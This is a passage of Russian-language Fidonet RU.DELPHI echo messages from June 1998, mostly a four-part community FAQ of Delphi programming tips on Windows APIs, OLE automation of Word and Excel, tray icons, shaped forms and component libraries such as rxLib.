─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 1 of 341 From : Sergey Yushinin 2:5025/17.58 22 Jun 98 13:08:00 To : Taras Pantchenko Subj : Русский шpифт в БД = пpоблема ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f204.n5020!f8.n5025!f18.n5025!f2.n5025!f17.n5 025!not-for-mail Как поживаете, Taras ? Мои бортовые системы запеленговали, что в Пятница Июнь 12 1998 17:01, Taras Pantchenko писал All: TP> Столкнулся мой дpуг с такой пpоблемой (а я не по этим делам, TP> поэтому pешил закинуть сюда, посоветоваться со всезнающим оллом) : TP> создает базу, записывает в ячейку pусский текст, нажимает ... и TP> текст "поpтится" : _HЕКОТОРЫЕ_ буквы пpевpащаются во всякие там "о" с TP> умляутами и т.п. Пpи повтоpном pедактиpовании ячеек "ноpмальное" TP> содеpжимое _не_восстанавливается_. Что бы это могло быть : Delphi2 TP> глючит, али со шpифтами не все в поpядке (все пpоисходит под Win'95 TP> pусской), или дpайвеp какой надо доставить, или подпpавить что-то TP> где-то [в *.ini] или ... Пусть твой друг проставит для начала все драйвера DBE на 866 страницу. C уважением, Sergey Yushinin. --- УТВЕРЖДАЮ. MSG-редактор капитан 2.5 ранга Голд Дедович фор ДОС UNREG * Origin: Здрасте пожалста! (2:5025/17.58) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 2 of 341 From : PIC 2:5020/400 24 Jun 98 04:01:00 To : All Subj : D3.MISC - TWAIN component ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!fido-news-server .RFC-Message-ID: From: PIC Reply-To: support@pic.spb.ru Здpавствyй, All! Как-то Eugeniy писал: > > А не подскажет ли кто-нибyдь где взять кpек на TEnhTwain ? Или посоветйyте >дpyгие сабжевые компоненты, котоpые бyдyт коppектно pаботать со сканеpом Mustek >Paragon 600 II CD (Twain Data Source v.3.5). Советую посмотреть библиотеки серии ImageLib - либо на сайте http://pic.eltech.ru, либо на Почтовом сервере server@pic.spb.ru. (В последнем случае имена файлов для команды get такие: get /pic/sky/products/FEATUR~1.RUS get /pic/sky/products/CORP~1.RUS get /pic/sky/products/DOCIMAGE.RUS get /pic/sky/products/16_32B.RUS ) Кроме того, на сайте http://pic.eltech.ru Вы сможете найти таблицу сравнительных характеристик библиотек ESPIA ImageLib LeadTools Light Lib Images T-Base - все они поддерживают Twain. Если будет необходимо, я могу положить эту таблицу и на Почтовый сервер, но только в формате HTML. Она большая и делать ее в текстовом виде немного лень. Всего хорошего, Евгений Михелевич -- Eugene Mikhelevich "Software. Information Technologies. Computer Systems.", Saint-Petersburg, Russia, ============================================= E-mail: trade@pic.spb.ru WWW-site: http://pic.eltech.ru Mail-server: server@pic.spb.ru --- ifmail v.2.14dev2 * Origin: PIC. Support department. (2:5020/400@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 3 of 341 From : Akzhan Abdulin 2:5040/55.46 23 Jun 98 14:04:00 To : Serge Buhantsov Subj : ico - bmp ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f204.n5020!f47.n5040!f52.n5040!f55.n5040!not- for-mail .RFC-References: <1759621005@roxy.kiev.uice> Здравствуй, Serge! 22 Jun 98 10:39, Serge Buhantsov написал All: >> LoadImage или рядом не подойдет? SB> Что-то я не могу понять это LoadImage. SB> Там что можно загрузить Bitmap и преобразовать в Icon? В оригинальном письме требовалось наоборот. Hо можно и Bitmap->Icon - hIcon := LoadImage( hLib, 'MyBitmap', IMAGE_ICON, 0, 0, LR_DEFAULTSIZE ); С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 4 of 341 From : Alexey Mahotkin 2:5020/433 24 Jun 98 00:10:00 To : All Subj : RU.DELPHI.F.A.Q. [1/4] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f443.n5020!f423.n5020!f871.n5020!f433.n5020!n ot-for-mail hail === Cut === Dedicated to my love and loss, with whom I shall sit under any skies never again... Too Frequently Asked Questions of RU.DELPHI hierarchy. Слишком часто задаваемые вопросы эх иерархии RU.DELPHI Copyright (c) Alexey Mahotkin 1997-1998 Редакция 0.12 от 01 Mar 1998 (swastiked time) Общие вопросы программирования на Borland Delphi. Вопросы программирования баз данных находятся в соответствующем F.A.Q. Compiler/maintainer: Alexey Mahotkin, 2:5020/433, alexm(at)hsys.msk.ru Благодарности: активным писателям эх иерархии RU.DELPHI и контрибуторам этого F.A.Q., without whom nihil. Все изменения/дополнения/комментарии крайне приветствуются. Измененные пункты отмечены строчкой [chg], добавленные -- строчкой [new]. Планируется разбиение F.A.Q. на три-четыре подраздела и конвертация в большое количество форматов. Приветствуются желающие выкладывать все это на www. >[chg] Список авторов добавлений/замечаний/комментариев в алфавитном >порядке. С целью предотвращения спама произведено небольшое искажение e-mail адресов. AA: Akzhan Abdulin, 2:5040/55 AB: Anthony Buntyakov, antosha(at)metcombank.ru ArAs: Arthur Aseev, 2:5030/465.2 AG: Andrey Grigoriev, 2:5061/24.20 AK: Alex Konshin, 2:5030/217 AL: Alexander Lokshin, 2:5020/529 AP: Alexander Petrosyan, 2:5020/468.8 AlPe: Alex Petin, 2:5000/97.8 AR: Andrey Ruckoy, 2:5047/7 AnSa: Andrey Sarinkov, 2:5040/33.121 AS: Alexey Sinutin, 2:5022/12.16 AV: Andrew Verigo, 2:452/23.32 AY: Alexey Yashin, 2:5020/62.31 BL: Boris Loboda, 2:461/256 BP: Boris Podchezertseff, 2:5020/656.20 DK: Dmitry Kryloff, 2:5054/9.20 DS: Dmitry Shikhman, 2:468/13.32 EK: Eugene Kopko, 2:464/196 EL: Evgeny Levashoff, 2:5022/31.7 EM: Eugene Mayevski, 2:463/209 ES: Eugeny Sverchkov, 2:5031/12.23 IA: Ilya Andreev, 2:5030/55.28 IG: Ivan Gudym, 2:4642/2213.9 IS: Igor Slusarev, 2:5020/118.18 JB: Juris Bekins, 2:5100/35 MV: Max Vystropov, 2:5020/1412 PS: Pavel Shklovsky, 2:5011/18 RP: Roman Procopovich, 2:5030/254.201 RR: Roman Rechmakov, 2:5020/952.26 SB: Stanislav Babin, 2:5030/356.7 SK: Serge Korolev, 2:5020/104 SM: Sergey Mazunov, 2:5083/30.20 SO: Sergey Okhapkin, 2:5020/47 SV: Serg Vostrikov, 2:5053/15.3 SA: Sergey Arkhipov, 2:5054/88.10 SB: Sergey Belov, sbelov(at)aha.ru VB: Victor Babkin, 2:463/279.6 VS: Vlad Sharnin, vlad(at)nplks.rb.ru Прочие существующие F.A.Q. по Delphi: * от демо-центра, a.k.a. Epsylon Technologies, www.demo.ru; очень полезный для начинающего обширный F.A.Q., носящий, правда, ощутимо коммерческий характер; * от Akzhan Abdulin, 2:5040/55; это, скорее, набор Tips&Tricks, достаточно продвинутых, с большим количеством исходников; * FAQ по фичам для Delphi by Mikhail Chernyshev, 2:4615/26; это список библиотек и компонентов для Delphi с кратким описанием и указанием методов доставания; * The Unofficial Delphi Component Writing F.A.Q. достаточно продвинутый F.A.Q. для писателей компонентов, очень полезно описание TDataLink; * Borland Interbase Q&A от демо-центра. очень обширный и качественный F.A.Q.; Эхи по Delphi: RU.DELPHI: общие вопросы программирования на Delphi, не связанные с базами данных; RU.DELPHI.INFO: эта эха -- только для чтения. Писать в нее разрешено немногим и, скорее всего, это не вы.... Туда помещаются F.A.Q. и списки интернетовских и фидошных ресурсов Delphi; RU.DELPHI.DB: вопросы программирования баз данных в среде Delphi; RU.DELPHI.UUE: категорически не рекомендованная к получению эха -- для публикации файлов лучше пользоваться файлэхами. Файлэхи по Delphi: WDEVDELPHI - официальная файлэха иерархии RU.DELPHI; FEDELAPP - Delphi and DBMS related applications, utilities and other goodies; FEDELINF - Delphi related technical information, documentation; FEDELSRC - Delphi related both 16 and 32bit Components and Libraries Sources; FEDELGEN - Delphi related General; FED32SRC - Delphi related 32bit Sources; FED32GEN - Delphi related 32bit General. Дружественные эхи: RU.CBUILDER: Borland C++Builder; SU.WINDOWS.PROG: общие вопросы программирования под MS Windows; SU.WIN32.PROG: вопросы программирования для Win32 API; SU.WIN95.PROG: вопросы программирования под MS Windows 95; SU.DBMS: базы данных; SU.DBMS.SQL: SQL-базы данных; SU.DBMS.BORLAND: базы данных фирмы Borland; SU.DBMS.INTERBASE: "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS: вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. >[chg] Методы доставания софта, упомянутого в F.A.Q., большой список >регулярно появляется в RU.DELPHI.INFO: * Delphi Super Page (http://sunsite.icm.edu.pl/~robert/delphi); * Универсально: поиск в Aльтависте или на любой другой поисковой машине. * Многочисленные фидо-станции, несущие соответствующие файлэхи, особенно 2:5020/87; * FTP- и WWW-сайты, хранящие файлы, проходившие по файлэхам, например - ftp://ftp.demo.ru/Borland/Delphi/WDEVDELPHI/ (AP) (к сожалению, он очень давно не обновлялся); - http://www.unionjv.ru/files; - http://rx.unionjv.ru/ (место распространения rxLib, в частности); - (SK): http://rx.demo.ru (еще одно) ; - (AG): http://www.jeo.ru/2420. - (MV): ftp2.max.irk.ru/ ftp.sed.lg.ua/pub/fileecho/ ftp://bbs.ogo.ru, ftp://ogo.ru - (PS): ftp://adel.telecom.nov.ru - (RP): ftp://ftp.kaluga.com/windows/DEVELOP/DELPHI/ Относительно свежие версии этого F.A.Q. можно достать на FAQ-серверах. Hапишите письмо ================ To: FAQServer Subj: <неважно> --------- %HELP ================ и вы получите помощь по использованию FAQ-сервера. FAQ-сервера находятся по следующим адресам: (2:5020/87, Nikita Popov), (2:5003/41.41, Grigory Prigodin), (2:461/256, Boris Loboda). В скобках указаны хозяева, писать надо To: FAQServer Если у вас работает FAQ-сервер и вы готовы выкладывать на него новые версии F.A.Q, напишите мне. Эти самые новые версии вы можете брать из файлэхи WDEVDELPHI или с ftp://ftp.nf.ru/pub/techlib. >[chg] Q: 1. Как сделать так, чтобы программу можно было запустить только >в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра, попытавшегося запуститься, используйте Application.Terminate; (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). (EK): CreateSemaphore(nil,0,1,'MySemaphoreName'); === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI * Crossposted in RU.CBUILDER * Crossposted in RU.DELPHI.INFO ... rim auto annal ail pi --- GoldED/386 3.00.Beta2+ * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 5 of 341 From : Alexey Mahotkin 2:5020/433 24 Jun 98 00:10:00 To : All Subj : RU.DELPHI.F.A.Q. [2/4] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f443.n5020!f423.n5020!f871.n5020!f433.n5020!n ot-for-mail hail === Cut === if GetLastError = ERROR_ALREADY_EXISTS then Halt(1); .......... Application.Run; Q: 2. Как работать с разными графическими форматами, кроме BMP, хотя бы самыми распространенными: GIF, JPG, TIFF? A: Воспользуйтесь библиотекой ImageLib. Лежит на www.imagelib.com. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. (AA): Опять-таки, есть LightLib Images (url не помню, но по altavista находится с полпинка, поставляется с книжкой Чарлза Калверта). Еще есть Nishita ViewLib, freeware. JPG/JIF/GIF/BMP/DIB/RLE/TGA/PCX. http://einstein.ae.eng.ua.edu/nishita/index.htm Q: 3. Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? A: Они лежат в X:\DELPHI3\LIB\DELPHI2\. Q: 4. Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Win32: Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. Win16: Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: 5. Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: 6. Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (AY, VB): CreateProcess(). (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): Win16: Delay можно взять из rxLib. === Cut === handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... === Cut === (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Handle:=Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: 7. Как мне работать с файлами MS Word или таблицами Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; ..... === Cut Конец примера === Q: 8. Как сделать так, чтобы запущенная программа не была видна на панели задач? NB: Предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать ее из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал: Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown - под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение - ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. Q: 9. А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? A: В библиотеке rxLib есть компонент TrxTrayIcon. Q: 10. Как сделать так, чтобы в моей форме курсор перемещался по полям ввода по Enter, как по Tab? A: (SV): Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном компоненте), уберите обработчики события у всех компонент и создайте FormKeyPress -- обработчик OnKeyPress для формы: procedure Form1.OnKeyPress(Sender : TObject; var Key : char); begin if Key = #13 then begin SelectNext(Sender as TWinControl, true, true); Key := #0; end; end; (AnSa): Давно хотелось высказаться по поводy этого способа. Во-пеpвых, нyжно выставлять y фоpмы KeyPreview = True. Во-втоpых, если на фоpмy поместить default-кнопкy, то никакого пеpемещения фокyса не бyдет. Q: 11. А где взять нормальный хелп для Delphi 3? И для вторых, собственно, тоже -- часть ссылок ведет в никуда, часть ведет не туда, некоторые компоненты без хелпа... A: Hадо поставить нормальные Delphi 3, а не Confidentional/Field beta. Для Delphi 2 -- или найдите где-нибудь обновленные файлы .HLP, например, на www.borland.com или на Delphi Super Page, или на каком-нибудь компакте, или поставьте себе версию 2.01. Моя имеет истинную версию (Help|About..., наберите Alt-VERSION) 2.0.76.0. Узнать ее можно также по странице Internet в панели компонентов. Q: 12. Посоветуйте что-нибудь для работы с модемом и/или COM-портом из Delphi. A: AsyncPro. Он покроет 95% ваших нужд. === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI * Crossposted in RU.CBUILDER * Crossposted in RU.DELPHI.INFO ... am tau air lion in pal --- GoldED/386 3.00.Beta2+ * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 6 of 341 From : Alexey Mahotkin 2:5020/433 24 Jun 98 00:10:00 To : All Subj : RU.DELPHI.F.A.Q. [3/4] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f443.n5020!f423.n5020!f871.n5020!f433.n5020!n ot-for-mail hail === Cut === Для маньяков, желающих пользоваться Win32 -- открывайте "COMx" как файл и пишите/читайте. Еще хорошо почитать Help на тему вещей, начинающихся на "comm". Q: 13. А как включить окошко CPU Window? A: (AP): Вставьте в registry строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\EnableCPU=1 соответственно для Delphi 3 -- Delphi\3.0. Q: 14. А как печатать на матричном принтере в текстовом режиме для скорости? A: (AR): === Cut === var f : textfile; begin AssignFile ( f, 'prn' ); Rewrite ( f ); WriteLn ( f, 'some data' ); CloseFile ( f ); end. === Cut === NB: Hе забудьте, что слать данные надо в 866 кодовой странице. См. ниже. Q: 15. Посоветуйте хорошую книгу по Delphi. A: a) Кен Хендриксон "Руководство разработчика баз данных" b) Рэй Конопка "Hаписание оригинальных компонент в среде Delphi" c) Рэй Лишнер "Секреты Delphi 2" d) Том Сван "Програмирование в Delphi для Windows95" e) Tом Сван "Секреты 32 разрядного программирования в Delphi" f) Джеффри Рихтер "Windows для профессионалов" (highly recommended!) g) Т. Миллер, "Использование Delphi 3" >[chg] Q: 16. Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? A: Hадо ловить сообщение WM_NCPAINT. Существует также компонент CustomNC by Alex Prilipko 2:5045/29, которые позволяет самому рисовать всю неклиентскую часть окна. (AP): Тот компонент - плохой. Совсем. Правильный компонент, by Акжан Абдулин и еще кто-то был в фэхе(не WDEVDELPHI). Ищите cap*.zip. NB: cap030.zip и cap031p.zip были в файлэхе FED32SRC. Q: 17. Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM/OEMToChar, CharToOEMBuff/OEMToCharBuff. Q: 18. Как работать с архивными файлами, хотя бы с самыми распространенными, типа .ZIP? A: (AS): Воспользуйтесь библиотекой ExceedZip 3.0 (www.exceedsoft.com) (VS): Hа CDROM с Delphi3 есть каталог INFO\EXTRAS\ZLIB. Подробности на http://quest.jpl.nasa.gov/zlib/ Q: 19. Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм =caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: 20. Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: 21. Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi2? A: (AP): Решаются так... RegEdit - убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Поправьте это, чтобы был _ваши_ пути... ------------------------+- HelpPath.REG REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" -------------------------- ...и скажите "START HelpPath.REG": >[chg] Q: 22. Что такое rxLib? A: Одна из самых, если не самая лучшая библиотека общего назначения для Delphi. Огромное количество компонентов и полезных функций. Полные исходные тексты. Совместима со всеми Delphi (1, 2 и 3), а также с C++-Builder. Великолепные примеры использования. Исчерпывающие файлы помощи на русском языке. Текущая версия -- 2.40. IMHO -- a must have для любого дельфиста. Прежде чем огорчаться отсутствием чего-либо или пытаться написать свое -- посмотрите, нет ли этого в rxLib. Скажем так -- без rxLib мое программирование на Delphi будет гораздо более утомительным. Авторы: Fedor Koshevnikov (kosh(at)masterbank.msk.ru) Igor Pavluk (pavluk(at)masterbank.msk.ru) Serge Korolev (korolev(at)masterbank.msk.ru) Q: 23. Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: (ArAs): SetWindowRgn(); (только Win32). (AV): Есть компонент TFormShaper, free for noncommercial use: http://www.wirtschaft.tu-ilmenau.de/~aeg/ (AM:) (Win32) Пример кода, создающий эллиптическую форму, которую к тому же можно двигать за любую точку, что демонстрирует обработку сообщения WM_NCHITTEST: === Cut here start === unit main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Label1: TLabel; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } rgn : HRGN; procedure WMNCHitTest(var Message : TWMNCHitTest); message WM_NCHITTEST; protected public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin rgn := CreateEllipticRgn(0, 0, Width, Height); SetWindowRgn(Handle, rgn, True); end; procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest); begin if PtInRegion(rgn, Message.XPos, Message.YPos) then Message.Result := HTCAPTION else Message.Result := HTNOWHERE; end; procedure TForm1.FormDestroy(Sender: TObject); begin DeleteObject(rgn); end; end. === Cut here end === (DK:) Hадо задать форме стиль окна WS_EX_TRANSPARENT. Тогда будут рисоваться только лежащие на ней контролы. Вот пример кода: type TForm1 = class(TForm) { ... } protected procedure CreateParams(var Params : TCreateParams); override; end; procedure TForm1.CreateParams(var Params : TCreateParams); begin inherited CreateParams(Params); { форма становится прозрачной } Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT; end; end; Q: 24. Delphi 2 & 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default):-) получше маленько будет... Q: 25. Как установить компонент от Delphi 2 под Delphi 3? Delphi требуют .PAS-файл. A: Hикак. Ищите исходник или .DCU, скомпилированный для Delphi 3. Q: 26. Как получить от программы сообщения на русском языке? A: (EL): 1) В X:\Delphi\Sources\vcl - отредактировать все файлы текстовых ресурсов Delphi (или наиболее часто возникающие Exception'ы и надписи на кнопках). 2) В Delphi\bin есть компилятор текстовых ресурсов (brcc32.exe - точно не помню).Откомпилировать все изменненные *.rc. 3) Получившиеся res-файлы кинуть в Delphi\Lib (SB): Для Delphi 3: 1) Delphi3\Doc\Consts.int переименовать в Delphi3\Doc\Consts.pas; 2) внутри Consts.pas в конце дописать: "end."; 3) внутри Consts.pas исправить все "Yes", "No", "Cancel" и т. д. на русский вариант; 4) откомпилировать consts.pas с помощью dcc32, получится Consts.dcu. 5) Consts.dcu скопировать в Delphi 3\Lib вместо имеющегося там. NB: Русские ресурсы для D1 и D2 проходили в свое время по WDEVDELPHI в файле . Q: 27. При возникновении ошибки во время отладки программы машина перезагружается. Что делать? === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI * Crossposted in RU.CBUILDER * Crossposted in RU.DELPHI.INFO ... mania tau rap ion ill --- GoldED/386 3.00.Beta2+ * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 7 of 341 From : Alexey Mahotkin 2:5020/433 24 Jun 98 00:10:00 To : All Subj : RU.DELPHI.F.A.Q. [4/4] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!f400.n5020!f238.n5020!f443.n5020!f423.n5020!f871.n5020!f433.n5020!n ot-for-mail hail === Cut === A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Q: 28. Как использовать свои курсоры в программе? A: === Cut === {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); === Cut === Q: 29. Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство .Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: 30. Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor() Q: 31. Как отловить события создания или удаления файлов другими программами? A: (Win32:) FindFirstChangeNotification/FindNextChangeNotification/ FindCloseChangeNotification (Win16:) FileCDR, но она плохо документирована. Q: 32. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: 33. При работе программ на D1 под Win95 в hicolor-режимах иконки на TBitBtn'ах обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: 34. Как работать с registry? A: TRegistry. Q: 35. Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() >[new] Q: 36. Как напрямую работать с портами/памятью из-под Win95/NT? A: (VS): а http://www.strongsoftware.net/tvicport/ лежат TVicHW32 и TVicPort. Под Win95 можно обращаться к портам из ассемблерных вставок. Под NT этот номер не пройдет -- скорее всего, придется писать драйвер устройства. RTFM WindowsNT Device Driver Kit. >[new] Q: 37. Как переключать раскладку клавиатуры из своей программы? A: ActivateKeyboardLayout. >[new] Q: 38. Как просматривать HTML в программе? A: Можно воспользоваться Netscape Navigator или Internet Explorer -- они умеют быть OLE-серверами. (AL): Еще на www.pbear.com лежат THTMLViewer и TFrameViewer. >[new] Q: 39. Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: (AP): SetWindowsHookEx(). Пример использования лежит на www.i-connect.ru/~paf/links31.zip >[new] Q: 40. Как вывести диалог выбора _директории_? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. >[new] Q: 41. е работает передача данных по OLE в русский Excel. A: (SM): Дело в этом что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. >[new] Q: 42. Можно ли скомпилировать на Delphi 2/3 программу, работающую >под Windows 3.1? A: (NP): ет, но на компактах с Delphi 2/3 поставляется Delphi 1 специально для этой цели. >[new] Q: 43. Как вызывать из 32-битной программы 16-битные DLL? A: (EM): адо применять так называемы Thunks. Смотри статью на http://www.itecuk.com/delmag/thunk95.htm >[new] Q: 44. Почему у меня record a : 